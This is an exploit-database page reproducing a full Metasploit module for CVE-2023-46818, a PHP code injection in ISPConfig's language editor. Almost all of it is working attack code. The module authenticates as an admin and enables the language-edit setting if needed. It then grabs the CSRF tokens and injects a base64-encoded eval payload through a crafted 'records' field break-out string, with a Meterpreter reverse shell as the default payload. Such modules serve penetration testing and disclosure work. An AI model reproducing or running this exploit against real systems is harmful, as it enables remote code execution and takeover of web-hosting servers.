Sploitus

Exploit for πŸ“„ ISPConfig language_edit.php PHP Code Injection

packetstorm Β· 2025-07-09

Exploit Code

ruby271 lines
## https://sploitus.com/exploit?id=PACKETSTORM:206218
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ISPConfig language_edit.php PHP Code Injection',
            'Description' => %q{
              This module exploits a PHP code injection vulnerability in ISPConfig's
              language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
              setting is enabled, allowing authenticated administrators to inject arbitrary
              PHP code through the language editor interface.
    
              This module will automatically check if the required `admin_allow_langedit`
              permission is enabled, and attempt to enable it if it's disabled (requires
              admin credentials with system configuration access).
    
              The exploit works by injecting a PHP payload into a language file, which
              is then executed when the file is accessed. The payload is base64 encoded
              and written using PHP's file_put_contents function.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'syfi', # Discovery and PoC
              'Egidio Romano'
            ],
            'References' => [
              ['CVE', '2023-46818'],
              ['URL', 'https://github.com/SyFi/CVE-2023-46818'],
              ['URL', 'https://karmainsecurity.com/KIS-2023-13'],
              ['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
            ],
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Targets' => [
              [
                'Automatic PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2023-10-24',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
          OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
          OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
        ])
      end
    
      def check
        print_status('Checking if the target is ISPConfig...')
        return CheckCode::Unknown('Failed to login') unless authenticate
    
        # Always try to log in and parse version, since credentials are required
        # cookie_jar.clear (handled in exploit)
        # Try to access the dashboard or settings page
        settings_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
          'keep_cookies' => true
        })
        if settings_res
          doc = settings_res.get_html_document
          # Try to find version in a span, div, or similar element
          version_element = doc.at('//p[@class="frmTextHead"]')
          if version_element
            version_text = version_element.text
            version = version_text.split(':')[1].gsub(' ', '')
            version = Rex::Version.new(version)
            if version < Rex::Version.new('3.2.11p1')
              print_good("ISPConfig version detected: #{version_text}")
              return CheckCode::Appears("Version: #{version_text}")
            end
          end
        end
        CheckCode::Safe
      end
    
      def authenticate
        print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'login/'),
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            's_mod' => 'login'
          },
          'keep_cookies' => true
        })
        return false unless res
    
        if res&.code == 302
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
          })
        end
        body_downcase = res.body.downcase.freeze
        return false if body_downcase.include?('username or password wrong')
    
        if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
          print_good('Login successful!')
          return true
        end
        print_warning('Login status unclear, attempting to continue...')
        true
      end
    
      def check_langedit_permission
        print_status('Checking if admin_allow_langedit is enabled...')
    
        # Try to access the language editor to see if it's accessible
        edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => edit_url,
          'keep_cookies' => true
        })
    
        if res&.code == 200 && res.body.include?('language_edit')
          print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
          return true
        elsif res&.code == 403
          print_warning('Language editor access denied - admin_allow_langedit may be disabled')
          return false
        else
          print_warning('Could not determine language editor accessibility')
          return false
        end
      end
    
      def enable_langedit_permission
        print_status('Attempting to enable admin_allow_langedit...')
    
        # Try to access the system settings page
        settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => settings_url,
          'keep_cookies' => true
        })
    
        unless res && res.code == 200
          print_warning('Could not access system configuration page')
          return false
        end
    
        doc = res.get_html_document
        csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
        csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
    
        unless csrf_id && csrf_key
          print_warning('Could not extract CSRF tokens from system config page')
          return false
        end
    
        # Try to enable the setting
        enable_data = {
          '_csrf_id' => csrf_id,
          '_csrf_key' => csrf_key,
          'admin_allow_langedit' => '1',
          'action' => 'save'
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => settings_url,
          'vars_post' => enable_data,
          'keep_cookies' => true
        })
    
        if res&.code == 200
          print_good('Successfully enabled admin_allow_langedit')
          return true
        else
          print_warning('Failed to enable admin_allow_langedit')
          return false
        end
      end
    
      def inject_payload
        print_status('Injecting PHP payload...')
        @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
        b64_payload = Base64.strict_encode64(payload.encoded)
        injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
        lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
        edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
        initial_data = {
          'lang' => 'en',
          'module' => 'help',
          'lang_file' => lang_file
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => edit_url,
          'vars_post' => initial_data,
          'keep_cookies' => true
        })
        fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
        doc = res.get_html_document
        csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
        csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
        unless csrf_id && csrf_key
          fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
        end
        print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
        injection_data = {
          'lang' => 'en',
          'module' => 'help',
          'lang_file' => lang_file,
          '_csrf_id' => csrf_id,
          '_csrf_key' => csrf_key,
          'records[\]' => injection
        }
        send_request_cgi({
          'method' => 'POST',
          'uri' => edit_url,
          'vars_post' => injection_data,
          'keep_cookies' => true
        })
      end
    
      def exploit
        cookie_jar.clear
        fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
    
        # Check if language editor permissions are enabled
        unless check_langedit_permission
          print_warning('admin_allow_langedit appears to be disabled')
          print_status('Attempting to enable admin_allow_langedit...')
    
          if enable_langedit_permission
            print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
            # Re-check permissions after enabling
            unless check_langedit_permission
              fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
            end
          else
            fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
          end
        end
    
        inject_payload
      end
    end